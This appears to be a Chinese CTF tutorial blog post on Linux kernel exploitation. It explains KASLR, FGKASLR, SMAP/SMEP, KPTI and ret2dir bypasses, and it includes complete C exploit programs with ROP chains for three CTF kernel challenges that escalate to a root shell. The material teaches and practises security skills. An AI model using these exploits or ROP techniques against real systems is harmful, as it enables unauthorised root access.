kernel从小白到大神(二)
默文 发表于 浙江 历史精选 2639浏览 · 2024-10-07 15:08

kernel从小白到大神(二)

前言:上一章主要是最基础的理论和环境搭建,这章主要开始简单的做一些题目和保护的认识/绕过。附件下载:https://pan.quark.cn/s/7270228d93d0

内核保护机制

KASLR

和普通用户态的ASLR差不多,都是基地址+偏移

在未开启 KASLR 保护机制时,内核代码段的基址为 0xffffffff81000000 ,direct mapping area 的基址为 0xffff888000000000

FGKASLR

KASLR的plus版本,以函数粒度重新排布内核代码

FGKASLR会把不同的函数放到不同的节上。如下图本应都在.text一个section上,被分为多个节

ksymtab

kernel_symbol结构体其记录了函数的偏移、函数名的偏移以及命名空间的偏移。在使用fgkalsr编译后函数重定向通过此结构体。

struct kernel_symbol {
    int value_offset;      // 函数的偏移量
    int name_offset;       // 符号名称的偏移量
    int namespace_offset;  // 符号命名空间的偏移量
};

在开fgkalsr之后,除了.text等一些节,其他常用的提权函数都会参数随机化,利用kernel_symbol结构体存储的偏移就能找到具体函数的内存地址,

有时候内核符号表不会记录ksymtab的偏移,使用函数查找偏移锁定被随机化的函数

再源码的时候使用vscode全局一层一层追踪过去

kernel/module.c中有__ksymtab这个在上图查找kallsyms文件中也有出现,__start___ksymtab 是指向内核符号表开始的指针, 和__stop___ksymtab 以定义符号表的范围

kernel/module.c找到each_symbol_section函数(遍历各个符号表段)调用了__start___ksymtab被集合定义成struct symsearch arr[]

通过each_symbol_section函数查找偏移

拿到函数地址后,mov rbx,arr结构体的地址arr的第一个参数就是__start___ksymtab

通过偏移的自身地址加上偏移就可以得到真实地址,这里要-2^32是因为采用int类型,这里的0xff4dd048是为负数。

STACK PROTECTOR

和用户态的canary一样,防止栈溢出

SMAP/SMEP

SMAP(Supervisor Mode Access Prevention) 管理模式访问保护;SMEP(Supervisor Mode Execution Prevention) 管理模式执行保护

用来防止内核态访问/执行用户态数据,完全将内核空间与用户空间隔离,两个保护一般都是同时开启,防止ret2usr攻击

绕过的两种方式:

篡改CR4寄存器->ret2usr:CR4寄存器的第20位标识SMEP开关(0关,1开),利用kernel ROP篡改CR4,然后完成ret2usr。不过现在都是KPTI的内核,内核页面的用户地址没有执行权限ret2usr已经过时

ret2dir:简单说,把用户地址的数据映射到内核地址空间上。利用内核线性映射区对物理空间地址的完整映射,可以找到用户空间的数据,但是地址在内核空间上,利用内核地址访问用户的数据。

SMEP报错

KPTI

KPTI(Kernel page-table isolation)内核页表隔离,内核空间与用户空间使用两组不同的页表集

这是v3.19.8下的64位内核布局,源码布局参考。在没使用KPTI之前的虚拟内存空间被分为两块(用户进程使用的用户空间、系统内核使用的内核空间)。

虚拟空间高处为内核使用,低处虚拟内存空间为用户进程使用,下图为未开启KPTI的页表布局,每个进程都有一套指向进程自身的页表,由CR3寄存器指向。

并且内核、用户空间共用一个页全局目录表PGD

在开启KPTI之后页表布局,下图是kernel mode(v5.19.17)

user mode(v5.19.17),内核页表和用户空间分别采用两组不同的页表集(内核页表、用户页表),每张表都有用户空间的完整映射,但是只有在内核页表上才有着对内核的完整映射,在用户页表只有少量内核代码(系统调用入口点、中断处理等)。当用户态和内核态切换的时候,就会涉及CR3寄存器切换。

KPTI中将内核空间的PGD和用户空间的PGD连续的放置在一个8KB的内存空间中(内核态在低位,用户态在高位)

KPTI之后页表布局

KPTI 同时还令内核页表中属于用户地址空间的部分不再拥有执行权限,这使得 ret2usr 彻底成为过去式。

分析一下v5.19.17内核在用户系统调用的入口处理,用户态与内核态之间的切换,源码在entry_64.S - arch/x86/entry/entry_64.S - Linux source code v5.19.17 - Bootlin

SYM_CODE_START(entry_SYSCALL_64)//开始定义系统调用处理函数的汇编
    UNWIND_HINT_ENTRY //初始化栈展开信息
    ENDBR

    swapgs //切换gs寄存器,到内核态
    /* tss.sp2 is scratch space. */
    movq    %rsp, PER_CPU_VAR(cpu_tss_rw + TSS_sp2)// 将用户栈偏移保存到 per-cpu 变量 cpu_tss_rw+TSS_sp2 中
    SWITCH_TO_KERNEL_CR3 scratch_reg=%rsp   //切换到内核页表(CR3操作)
    movq    PER_CPU_VAR(cpu_current_top_of_stack), %rsp//将当前 CPU 的栈顶部指针恢复到 rsp,准备进行内核调用

SYM_INNER_LABEL(entry_SYSCALL_64_safe_stack, SYM_L_GLOBAL)
    ANNOTATE_NOENDBR

    /* struct pt_regs设置 */
    pushq   $__USER_DS              /* pt_regs->ss */
    pushq   PER_CPU_VAR(cpu_tss_rw + TSS_sp2)   /* pt_regs->sp */
    pushq   %r11                    /* pt_regs->flags */
    pushq   $__USER_CS              /* pt_regs->cs */
    pushq   %rcx                    /* pt_regs->ip */
SYM_INNER_LABEL(entry_SYSCALL_64_after_hwframe, SYM_L_GLOBAL)
    pushq   %rax                    /* pt_regs->orig_ax */

    PUSH_AND_CLEAR_REGS rax=$-ENOSYS

    /* IRQs are off. */
    movq    %rsp, %rdi//将当前的rsp 复制到rdi,用于之后的参数传递。
    /* Sign extend the lower 32bit as syscall numbers are treated as int */
    movslq  %eax, %rsi

    /* clobbers %rax, make sure it is after saving the syscall nr */
    IBRS_ENTER //进入一个安全的状态
    UNTRAIN_RET

    call    do_syscall_64       /* 系统调用处理 */

    /*尝试使用sysret返回用户态而不是iret,在Xen pv下必须使用iret*/
    ALTERNATIVE "", "jmp    swapgs_restore_regs_and_return_to_usermode", \
        X86_FEATURE_XENPV

    movq    RCX(%rsp), %rcx
    movq    RIP(%rsp), %r11

    cmpq    %rcx, %r11  /* SYSRET requires RCX == RIP */
    jne swapgs_restore_regs_and_return_to_usermode

    /*
     * On Intel CPUs, SYSRET with non-canonical RCX/RIP will #GP
     * in kernel space.  This essentially lets the user take over
     * the kernel, since userspace controls RSP.
     *
     * If width of "canonical tail" ever becomes variable, this will need
     * to be updated to remain correct on both old and new CPUs.
     *
     * Change top bits to match most significant bit (47th or 56th bit
     * depending on paging mode) in the address.
     */
#ifdef CONFIG_X86_5LEVEL
    ALTERNATIVE "shl $(64 - 48), %rcx; sar $(64 - 48), %rcx", \
        "shl $(64 - 57), %rcx; sar $(64 - 57), %rcx", X86_FEATURE_LA57
#else
    shl $(64 - (__VIRTUAL_MASK_SHIFT+1)), %rcx
    sar $(64 - (__VIRTUAL_MASK_SHIFT+1)), %rcx
#endif

    /* If this changed %rcx, it was not canonical */
    cmpq    %rcx, %r11
    jne swapgs_restore_regs_and_return_to_usermode

    cmpq    $__USER_CS, CS(%rsp)        /* CS must match SYSRET */
    jne swapgs_restore_regs_and_return_to_usermode

    movq    R11(%rsp), %r11
    cmpq    %r11, EFLAGS(%rsp)      /* R11 == RFLAGS */
    jne swapgs_restore_regs_and_return_to_usermode

    /*
     * SYSCALL clears RF when it saves RFLAGS in R11 and SYSRET cannot
     * restore RF properly. If the slowpath sets it for whatever reason, we
     * need to restore it correctly.
     *
     * SYSRET can restore TF, but unlike IRET, restoring TF results in a
     * trap from userspace immediately after SYSRET.  This would cause an
     * infinite loop whenever #DB happens with register state that satisfies
     * the opportunistic SYSRET conditions.  For example, single-stepping
     * this user code:
     *
     *           movq   $stuck_here, %rcx
     *           pushfq
     *           popq %r11
     *   stuck_here:
     *
     * would never get past 'stuck_here'.
     */
    testq   $(X86_EFLAGS_RF|X86_EFLAGS_TF), %r11
    jnz swapgs_restore_regs_and_return_to_usermode

    /* nothing to check for RSP */

    cmpq    $__USER_DS, SS(%rsp)        /* SS must match SYSRET */
    jne swapgs_restore_regs_and_return_to_usermode

    /*
     * We win! This label is here just for ease of understanding
     * perf profiles. Nothing jumps here.
     */
syscall_return_via_sysret:
    IBRS_EXIT//退出安全的状态,恢复原来上下文
    POP_REGS pop_rdi=0

    /*
     * Now all regs are restored except RSP and RDI.
     * Save old stack pointer and switch to trampoline stack.
     */
    movq    %rsp, %rdi
    movq    PER_CPU_VAR(cpu_tss_rw + TSS_sp0), %rsp//切换到用户态的栈指针
    UNWIND_HINT_EMPTY

    pushq   RSP-RDI(%rdi)   /* RSP */
    pushq   (%rdi)      /* RDI */

    /*
     * We are on the trampoline stack.  All regs except RDI are live.
     * We can do future final exit work right here.
     */
    STACKLEAK_ERASE_NOCLOBBER

    SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi//切换到用户态的 CR3

    popq    %rdi
    popq    %rsp
SYM_INNER_LABEL(entry_SYSRETQ_unsafe_stack, SYM_L_GLOBAL)
    ANNOTATE_NOENDBR
    swapgs  //切换回用户态的 GS 段寄存器
    sysretq // 使用 SYSRET 指令返回用户态
SYM_INNER_LABEL(entry_SYSRETQ_end, SYM_L_GLOBAL)
    ANNOTATE_NOENDBR
    int3
SYM_CODE_END(entry_SYSCALL_64)

Bypass KPTI

大致三种方式

  • 从上面源码分析可以看到主要是cr3的切换和之前的寄存器检查,可以利用gadget来修改cr3,然后iretq/sysret返回
  • 源码中还有大量跳转swapgs_restore_regs_and_return_to_usermode,可以直接使用这个函数,以mov rdi,rsp;作为起点返回
swapgs_restore_regs_and_return_to_usermode;//( mov_rdi_rsp)
*(size_t*) "mowen";
*(size_t*) "mowen";
(size_t) getshell;
user_cs;
user_rflags;
user_sp;
user_ss;
  • 使用signal(SIGSEGV,shell)捕获常规方式返回导致的SIGSEGV异常信号来get root shell。

ret2dir

ret2dir 是哥伦比亚大学网络安全实验室在 2014 年提出的一种攻击手法,用来绕过 smep、smap、pxn 等用户空间与内核空间隔离的防护手段原论文处

在上面页表中都有direct mapping of all physical memory(直接映射区域),这个是内核的线性映射区,线性映射了整个 物理空间

那么在这块区域上,存在用户空间地址内核地址访问的物理地址页框是同一个,既同时存在着一个用户空间地址与内核空间地址到该物理页框的映射

在开启了smep/smap后,内核空间到用户空间的直接访问被禁止,如下图(图片来源于论文)。

在ret2dir手法中通过direct mapping of all physical memory,可以隐式的访问到用户空间数据。在内核空间就能访问到用户空间的数据,该区域也被称为phsymap,是很大一段的虚拟内存,映射了整个物理内存。

下图就是在论文中对ret2dir这种攻击的示例图,不和ret2usr一样,指针不是指向用户空间,而是指向直接映射区域,在用户空间构造的payload也会映射到物理地址,所以只要在phsymap区域找到用户空间的payload就能执行。在高版本内核中 direct mapping area没有可执行权限需要通过ROP利用。

因为通过/proc/pid/pagemap获取物理地址和虚拟地址的映射关系是需要root权限的。

所以只能利用堆喷技术往phsymap区域填充大量payload,提高命中概率。

ret2dir手法总结:

  • 利用mmap或者堆喷技术在用户空间喷射大量相同的payload
  • 随机挑选direct mapping area上的地址,大概率命中写入的payload

pt_regs

系统调用本质在syscall之后通过门结构进入entry_SYSCALL_64函数,然后通过系统调用表跳到对应函数。entry_SYSCALL_64在进入内核态前会将所有寄存器压入到内核栈上,形成pt_regs结构体。

entry_SYSCALL_64定义arch/x86/entry/entry_64.S

pt_regs定义在arch/x86/include/asm/ptrace.h

内核栈只有一个页面的大小,而pt_regs固定在内核栈底部,当可以劫持到rip的时候,需要通过rop来控制rsp可以使用到pt_regs来构造ROP

来自wikiROP 板子,方便调试时观察。

__asm__(
        "mov r15,   0xbeefdead;"
        "mov r14,   0x11111111;"
        "mov r13,   0x22222222;"
        "mov r12,   0x33333333;"
        "mov rbp,   0x44444444;"
        "mov rbx,   0x55555555;"
        "mov r11,   0x66666666;"
        "mov r10,   0x77777777;"
        "mov r9,    0x88888888;"
        "mov r8,    0x99999999;"
        "mov rcx,   0xaaaaaaaa;"
        "mov rdx,   datas;"
        "mov rsi,   flags;"
        "mov rdi,   dev_fd;"   
        "mov rax,   0;"
        "syscall"
    );

系统调用在内核栈的底部会被压入形成pt_regs结构体,如果这个时候控制了rip,使用add rsp,0xn;ret;配合pt_regs完成ROP

例题:MINI-LCTF2022 - kgadget

手法利用:pt_regs+ret2dir

开了smep/smap 但是没开Kaslr

直接给了call rbx这里rbx来自[rdx]

程序很简单,就是传入数据(rdx),然后再做了清除pt_regs操作之后,call [rdx](call rbx),这里pt_regs没清理完全还有r8 r9 残留可以使用

但是开了smep/smap,直接在内核态执行用户代码会报错,没开kaslr,现在只能控制rip,可以利用pt_regs手法劫持rsp跳到direct区域,然后使用mmapphsymap喷射大量提权payload,然后利用direct地址映射访问payload然后返回用户态getshell

先利用pt_regs控制rsp到直接映射区

physmap spray喷射最简单的办法mmap

for (size_t i = 0; i < 25000; i++)
    {
       physmap[i]=mmap(0,page_size,PROT_READ|PROT_WRITE,0X2|0x20,-1,0);
       if(physmap[i]<=0)errExit("physmap ");
       memcpy(physmap[i],payload,page_size);
    }

然后利用direct的地址就可以访问到payload,在没开kaslr下,direct默认地址是 0xffff888000000000

这里的ROP是ROPgadget找不到的,需要手动寻找,先通过add rsp,0x90寻找,然后再使用IDA反编译vmlinux手动寻找

ROPgadget --binary vmlinux --opcode "4881c490000000"

EXP

#include<stdio.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<fcntl.h>
#include <stdlib.h>
#include <string.h>
#include<unistd.h>
#include<sys/mman.h>
#define __int64 long long
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t raw_direct_base=0xffff888000000000;
size_t commit_creds = 0,prepare_kernel_cred = 0;
size_t vmlinux_base = 0;

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status();
size_t find_symbols();
void printColor(char* buf);
void errExit(char * msg);
void getshell(void);

size_t paddGG;
void ATTACK_construction(size_t* ptr,size_t size){
   size_t sizeH=size/8;
   size_t AddRspd0_ret=0xffffffff8106f989;
   size_t AddRspb8_pop2_ret=0xffffffff81aefae5;
   size_t rdi_ret=0xffffffff8108c6f0;
   size_t ret=rdi_ret+1;
   size_t init_cred=0xffffffff82a6b700;
   size_t commit_creds=0xffffffff810c92e0;
   size_t swapgs_ret=0xffffffff81c0129c;
   size_t swapgs_ret2usr=0xffffffff81c00fb5-5;
   size_t i=0;
   for (; i < sizeH-0x180; i++)
   {
      ptr[i]=paddGG;
   }
   for (; i < sizeH-0x180+0x100; i++)
   {
      ptr[i]=ret;
   }
   ptr[i++]=rdi_ret;
   ptr[i++]=init_cred;
   ptr[i++]=commit_creds;
   ptr[i++]=swapgs_ret2usr+27;
   ptr[i++]=0;
   ptr[i++]=0;
   ptr[i++]=getshell;
   ptr[i++]=user_cs;
   ptr[i++]=user_rflags;
   ptr[i++]=user_sp;
   ptr[i++]=user_ss;
}
const char* FILESYM="/tmp/kallsyms\0";
const char* FileAttack="/dev/kgadget\0";
/*
ffffffff82a6b700 D init_cred
ffffffff810c92e0 T commit_creds
0xffffffff8106f989 : add rsp, 0xd0 ; ret
0xffffffff8108c6f0 : pop rdi ; ret
0xffffffff81c0129c : swapgs ; nop ; nop ; nop ; ret
0xffffffff81c00fb5-5
0xffffffff811483d0 : pop rsp ; ret
0xffffffff81004049 : 4881c490000000
.text:FFFFFFFF81004049 48 81 C4 90 00 00 00          add     rsp, 90h
.text:FFFFFFFF81004050 5B                            pop     rbx
.text:FFFFFFFF81004051 41 5C                         pop     r12
.text:FFFFFFFF81004053 41 5D                         pop     r13
.text:FFFFFFFF81004055 41 5E                         pop     r14
.text:FFFFFFFF81004057 41 5F                         pop     r15
.text:FFFFFFFF81004059 5D                            pop     rbp
.text:FFFFFFFF8100405A C3                            retn
*/
size_t physmap[66000];
size_t try_hit;
size_t rsp_ret;
int dev_fd;
size_t* payload;
size_t gg;
int main(void){
   paddGG=0xffffffff81004049;
    puts("[*]start");
    save_status();
    dev_fd = open(FileAttack,2);
    if(dev_fd < 0){
        errExit(FileAttack);
    }
    size_t page_size=sysconf(_SC_PAGESIZE);

    printColor("physmap spary start");
    payload=mmap(0,page_size,PROT_READ|PROT_WRITE,0X2|0x20,-1,0);
    ATTACK_construction(payload,page_size);
    for (size_t i = 0; i < 25000; i++)
    {
       physmap[i]=mmap(0,page_size,PROT_READ|PROT_WRITE,0X2|0x20,-1,0);
       if(physmap[i]<=0)errExit("physmap ");
       memcpy(physmap[i],payload,page_size);
    }
    printColor("physmap spary end...");
   try_hit=raw_direct_base+0x7000000;
   rsp_ret=0xffffffff811483d0;
   __asm__(
        "mov r15,   0xbeefdead;"
        "mov r14,   0x11111111;"
        "mov r13,   0x22222222;"
        "mov r12,   0x33333333;"
        "mov rbp,   0x44444444;"
        "mov rbx,   0x55555555;"
        "mov r11,   0x66666666;"
        "mov r10,   0x77777777;"
        "mov r9,    rsp_ret;"
        "mov r8,    try_hit;"
        "mov rcx,   0xaaaaaaaa;"
        "mov rdx,   try_hit;"
        "mov rsi,   0x1BF52;"
        "mov rdi,   dev_fd;"       
        "mov rax,   0x10;"
        "syscall"
    );

   return 0;
}


void save_status(){
   __asm__("mov user_cs,cs;"
           "pushf;" //push eflags
           "pop user_rflags;"
           "mov user_sp,rsp;"
           "mov user_ss,ss;"
          );
}

size_t find_symbols(const char*FILENAME,__int64 commit_offset,__int64 prepare_offset){
   FILE* kallsyms_fd = fopen(FILENAME,"r");
   if(kallsyms_fd < 0){
      errExit(FILENAME);
   }

   char buf[0x30] = {0};
   while(fgets(buf,0x30,kallsyms_fd)){
      if(commit_creds & prepare_kernel_cred)return 0;
      //find commit_creds
      if(strstr(buf,"commit_creds") && !commit_creds){
         char hex[20] = {0};
         strncpy(hex,buf,16);
         sscanf(hex,"%llx",&commit_creds);
         printf("commit_creds addr: %p\n",commit_creds);

         vmlinux_base = commit_creds - commit_offset;
         printf("vmlinux_base addr: %p\n",vmlinux_base);
      }

      //find prepare_kernel_cred
      if(strstr(buf,"prepare_kernel_cred") && !prepare_kernel_cred){
         char hex[20] = {0};
         strncpy(hex,buf,16);
         sscanf(hex,"%llx",&prepare_kernel_cred);
         printf("prepare_kernel_cred addr: %p\n",prepare_kernel_cred);
         vmlinux_base = prepare_kernel_cred - prepare_offset;
      }
   }

   if(!commit_creds & !prepare_kernel_cred){
      puts("[*]read kallsyms error!");
      exit(0);
   }
} 

void getshell(void)
{   
    if(getuid())
    {
        errExit("get shell");
    }

    printColor("[*]Successful");
    system("/bin/sh");
}
void printColor(char* buf){
   printf("\033[31m\033[1m%s\033[0m\n",buf);
}
void errExit(char * msg){
   char buf[128]={0};
   sprintf(buf,"[X] Error : %64s !",msg);
   printColor(buf);
   exit(-1);
}

长城杯京津冀2024初赛Kylin_driver

手法利用:栈溢出+bypasskpti

ioctl中开始有一个xor的加密,rsi=0xdeadbeef把栈上的数据复制用户

rsi=0xfeedface的时候从用户复制到栈上,加密之后直接把rsp给抬到输入的地方,这直接白给

并且给了一些常用返回用户的rop,这里cr4没啥用开了kpti

最简单入门的内核题了,就是多了一个xor加密而已:利用泄露的栈上数据,找出基地址和canary,然后直接溢出

bypasskpti这里使用signal绕过。这是swapgs_restore_regs_and_return_to_usermode的rop部分,使用这个返回,就不用使用了signal触发了

size_t swapgs_restore_regs_and_return_to_usermode=vmlinux_base+0xc01026;   
   qdata[idx++]=rdi_ret;
   qdata[idx++]=0;
   qdata[idx++]=prepare_kernel_cred;
   qdata[idx++]=movRdiRax_ret;
   qdata[idx++]=commit_creds;
   qdata[idx++]=swapgs_restore_regs_and_return_to_usermode;
   qdata[idx++]=0;
   qdata[idx++]=0;
   qdata[idx++]=(size_t)getshell;
   qdata[idx++]=user_cs;
   qdata[idx++]=user_rflags;
   qdata[idx++]=user_sp;
   qdata[idx++]=user_ss;

EXP

#include<stdio.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<fcntl.h>
#include <stdlib.h>
#include <string.h>
#include<unistd.h>
#include<sys/mman.h>
#include<signal.h>
#define __int64 long long
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t raw_direct_base=0xffff888000000000;
size_t commit_creds = 0,prepare_kernel_cred = 0;
size_t vmlinux_base = 0;

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status();
size_t find_symbols();
void printColor(char* buf);
void showAddr(char*name,size_t data);
void errExit(char * msg);
void getshell(void);

void encode(char* buf,size_t length){
   for (size_t i = 0; i < length; i++)
   {
      buf[i]^=0xF9;
   }
}

const char* FILESYM="/tmp/kallsyms\0";
const char* FileAttack="/dev/test\0";


int dev_fd;
/*
ffffffff87802000 
ffffffff878cfbe0 T prepare_kernel_cred  0xCFBE0
ffffffff878cf720 T commit_creds  0xCF720
0x75e2e9d51b00
0xffffffff81090c80 : pop rdi ; ret
0xffffffffc00cc009 <XyJrLzKpQvNmHtBrVwTsKxMfLdYnJqOpTy+9>:  mov    rdi,rax
0xffffffffc00cc00c <XyJrLzKpQvNmHtBrVwTsKxMfLdYnJqOpTy+12>: ret
0xffffffffc00cc00d <XyJrLzKpQvNmHtBrVwTsKxMfLdYnJqOpTy+13>: mov    cr4,rdi
0xffffffffc00cc010 <XyJrLzKpQvNmHtBrVwTsKxMfLdYnJqOpTy+16>: ret
0xffffffffc00cc011 <XyJrLzKpQvNmHtBrVwTsKxMfLdYnJqOpTy+17>: swapgs
0xffffffffc00cc014 <XyJrLzKpQvNmHtBrVwTsKxMfLdYnJqOpTy+20>: ret
0xffffffffc00cc015 <XyJrLzKpQvNmHtBrVwTsKxMfLdYnJqOpTy+21>: iretq
0xffffffffc00cc017 <XyJrLzKpQvNmHtBrVwTsKxMfLdYnJqOpTy+23>: ret
0xffffffffc00cc018 <XyJrLzKpQvNmHtBrVwTsKxMfLdYnJqOpTy+24>: pop    rbp
0xffffffffc00cc019 <XyJrLzKpQvNmHtBrVwTsKxMfLdYnJqOpTy+25>: ret

*/
unsigned char cry[32] =
{
   0x67, 0x74, 0x77, 0x59, 0x48, 0x61, 0x6D, 0x57, 0x34, 0x55, 
   0x32, 0x79, 0x51, 0x39, 0x4C, 0x51, 0x7A, 0x66, 0x46, 0x4A, 
   0x53, 0x6E, 0x63, 0x66, 0x48, 0x67, 0x46, 0x66, 0x35, 0x50, 
   0x6A, 0x63
};
int main(void){
    puts("[*]start");
    signal(SIGSEGV,(getshell));
    save_status();
    dev_fd = open(FileAttack,2);
    if(dev_fd < 0){
        errExit(FileAttack);
    }
   unsigned char buf[1024]={0};
   memcpy(buf,cry,32);
   encode(buf,32);
   ioctl(dev_fd,0xDEADBEEF,buf);
   encode(buf+32,512);
   size_t* qdata=(size_t*)(buf+32);
   vmlinux_base=qdata[47]-0x1889ae;
   vmlinux_base-=0x1a0000;
   showAddr("vmlinux_base",vmlinux_base);
   size_t canary=qdata[61];
   showAddr("canary",canary);
   prepare_kernel_cred=vmlinux_base+0xCFBE0;
   commit_creds=vmlinux_base+0xCF720;
   showAddr("prepare_kernel_cred",prepare_kernel_cred);
   showAddr("commit_creds",commit_creds);

   size_t usr_shellcode_base=qdata[0];
   showAddr("usr_shellcode_base",usr_shellcode_base);

   memset(buf,0,1024);
   memcpy(buf,cry,32);
   size_t offset=vmlinux_base-raw_vmlinux_base;
   size_t rdi_ret=offset+0xffffffff81090c80;
   size_t movRdiRax_ret=usr_shellcode_base+9;
   size_t swapgs_ret=usr_shellcode_base+17;
   size_t iretq_ret=usr_shellcode_base+21;
   size_t movCr4Rdi_ret=swapgs_ret-4;
   int idx=0;
   qdata[idx++]=rdi_ret;
   qdata[idx++]=0;
   qdata[idx++]=prepare_kernel_cred;
   qdata[idx++]=movRdiRax_ret;
   qdata[idx++]=commit_creds;
   qdata[idx++]=rdi_ret;
   qdata[idx++]=0x6f0;
   qdata[idx++]=movCr4Rdi_ret;
   qdata[idx++]=swapgs_ret;
   qdata[idx++]=iretq_ret;
   qdata[idx++]=(size_t)getshell;
   qdata[idx++]=user_cs;
   qdata[idx++]=user_rflags;
   qdata[idx++]=user_sp;
   qdata[idx++]=user_ss;
   encode(buf,512);
   ioctl(dev_fd,0xFEEDFACE,buf);
   return 0;
}


void save_status(){
   __asm__("mov user_cs,cs;"
           "pushf;" //push eflags
           "pop user_rflags;"
           "mov user_sp,rsp;"
           "mov user_ss,ss;"
          );
}


void getshell(void)
{   
    if(getuid())
    {
        errExit("get shell");
    }

    printColor("[*]Successful");
    system("/bin/sh");
}
void printColor(char* buf){
   printf("\033[31m\033[1m%s\033[0m\n",buf);
}
void showAddr(char*name,size_t data){
   char buf[256]={0};
   sprintf(buf,"[*] %s -> 0x%llx !",name,data);
   printColor(buf);
}
void errExit(char * msg){
   char buf[128]={0};
   sprintf(buf,"[X] Error : %s !",msg);
   printColor(buf);
   exit(-1);
}

长城杯京津冀2024决赛Kylin_Overflow

手法利用:栈溢出+bypasskpti

要使用ioctl必须先通过一个password的检查

加密就是一些xor等常规加密很好逆

0xFEEDFACE的时候从用户数据复制到堆上

0xDEADBEEF的时候把栈上的数据复制到用户,这里就可以泄露栈上的数据,泄露基地址和canary

0xCAFEBABE会执行backdoor函数,有一个栈溢出的漏洞

题目并不难,主要多了一个加密和解密的操作,对应解加密就行,先利用栈数据泄露canary和内核基地址,然后溢出提权

在做这题的时候忘记程序给了gadget使用,自己找了多个gadget完成mov rdi, rax

#include<stdio.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<fcntl.h>
#include <stdlib.h>
#include <string.h>
#include<unistd.h>
#include<sys/mman.h>
#include<signal.h>
#include<pthread.h>
#include<linux/userfaultfd.h>
#include <sys/ioctl.h>
#include<syscall.h>
#include<poll.h>
#include <semaphore.h>
#pragma pack(16)
#define __int64 long long
#define CLOSE printf("\033[0m\n");
#define RED printf("\033[31m");
#define GREEN printf("\033[36m");
#define BLUE printf("\033[34m");
#define YELLOW printf("\033[33m");
#define showAddr(var) _showAddr(#var,var);
#define u8 unsigned char
size_t user_cs, user_ss, user_rflags, user_sp;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t raw_direct_base=0xffff888000000000;
size_t commit_creds = 0,prepare_kernel_cred = 0;
size_t vmlinux_base = 0;
size_t swapgs_restore_regs_and_return_to_usermode;

void save_status();
size_t find_symbols(const char*FILENAME);
void _showAddr(char*name,size_t data);
void errExit(char * msg);
void getshell(void);

int dev_fd;

void decode(unsigned char* buf, int length) {
    for (int i = 0; i < length; i++) {
        buf[i] = ((unsigned char)buf[i] >> 5) | (8 * buf[i]);
        buf[i] = ~buf[i];
        buf[i] = buf[i] ^ 0xf8;
        buf[i] += 5;
    }
}
void encode(unsigned char* buf, int length) {
    for (int i = 0; i < length; i++) {
        buf[i] -= 5;
        buf[i] = buf[i] ^ 0xf8;
        buf[i] = ~buf[i];
        buf[i] = (32 * buf[i]) | ((unsigned char)buf[i] >> 3);
    }
}

/*


*/

const char* FILESYM="/proc/kallsyms\0";
const char* FileAttack="/dev/test\0";

int main(void){
    save_status();
    GREEN;puts("[*]start");CLOSE;
    dev_fd = open(FileAttack,2);
    if(dev_fd < 0){
        errExit(FileAttack);
    }
   u8 key[1024]="NdbTh3Vzwu3aFK4PN9B5Fu9fjauaER74";
   decode(key,32);
   ioctl(dev_fd,0xDEADBEEF,key);
   u8*buf=(u8*)(key+32);
   encode(buf,0x300);
   size_t* ptr=(size_t*)buf;
   size_t ko_gadget_addr=ptr[0];
   size_t canary=ptr[0xc];
   size_t vmlinux_leak_addr=ptr[0x7];
   size_t stack_addr=ptr[0x5];
   vmlinux_base=vmlinux_leak_addr-0x33dcac;
   size_t ko_base=ko_gadget_addr-0x43;

   showAddr(vmlinux_base)
   showAddr(ko_base)
   showAddr(canary)
   showAddr(stack_addr)
   //find_symbols(FILESYM);
   prepare_kernel_cred=vmlinux_base+0xcfbe0;
   commit_creds=vmlinux_base+0xcf720;
   swapgs_restore_regs_and_return_to_usermode=vmlinux_base+0xc00ff0;

   int idx=(0x110-0x8-0x8)/8;
   size_t offset=vmlinux_base-raw_vmlinux_base;
   ptr[idx++]=canary;
   ptr[idx++]=stack_addr-0x170+0x40;
   ptr[idx++]=offset+0xffffffff81090c80;
   ptr[idx++]=0;
   ptr[idx++]=prepare_kernel_cred;
   ptr[idx++]=offset+0xffffffff811cc553;
   ptr[idx++]=offset+0xffffffff81075158;
   ptr[idx++]=offset+0xffffffff81032c89;
   ptr[idx++]=offset+0xffffffff81090c80+1;
   ptr[idx++]=offset+0xffffffff81090c80+1;
   ptr[idx++]=offset+0xffffffff81090c80+1;
   ptr[idx++]=offset+0xffffffff81090c80+1;
   ptr[idx++]=offset+0xffffffff81090c80+1;
   ptr[idx++]=offset+0xffffffff81090c80+1;

   ptr[idx++]=offset+0xffffffff816753b0+2;
   ptr[idx++]=0;
   ptr[idx++]=offset+0xffffffff81a98ed2+4;
   ptr[idx++]=offset+0xffffffff81090c80+1;
   ptr[idx++]=offset+0xffffffff81090c80+1;
   ptr[idx++]=offset+0xffffffff81090c80+1;
   ptr[idx++]=offset+0xffffffff81090c80+1;
   ptr[idx++]=commit_creds;
   ptr[idx++]=swapgs_restore_regs_and_return_to_usermode+0x36;
   ptr[idx++]=0;
   ptr[idx++]=0;
   ptr[idx++]=getshell;
   ptr[idx++]=user_cs;
   ptr[idx++]=user_rflags;
   ptr[idx++]=user_sp;
   ptr[idx++]=user_ss;
   decode(buf,0x300);
   ioctl(dev_fd,0xFEEDFACE,key);
   ioctl(dev_fd,0xCAFEBABE,key);

   BLUE;puts("[*]end");CLOSE;
   return 0;
}
/*
0xffffffff81090c80 : pop rdi ; ret
0xffffffff81a7e822 : push rax ; pop rdi ; call qword ptr [rbp + 0x48]
0xffffffff811cc553 : pop rsi ; ret
0xffffffff81075158 : pop r12 ; pop rbp ; pop rbx ; ret
0xffffffff81032c89 : mov r8, rax ; call rsi
0xffffffff816753b0+2 : pop rdx ; ret
0xffffffff81a98ed2+4 : mov rdi, r8 ; call 0xffffffff815e50f0
   0xffffffffa1298ed6:  mov    rdi,r8
   0xffffffffa1298ed9:  call   0xffffffffa0de50f0
   0xffffffffa1298ede:  mov    r12,rax
   0xffffffffa1298ee1:  call   0xffffffffa092bb00 (ret)
   0xffffffffa1298ee6:  mov    rax,r12
   0xffffffffa1298ee9:  pop    r12
   0xffffffffa1298eeb:  pop    rbp
   0xffffffffa1298eec:  ret


   0xffffffffa0de50f0:  mov    rax,rdi
   0xffffffffa0de50f3:  test   rdx,rdx
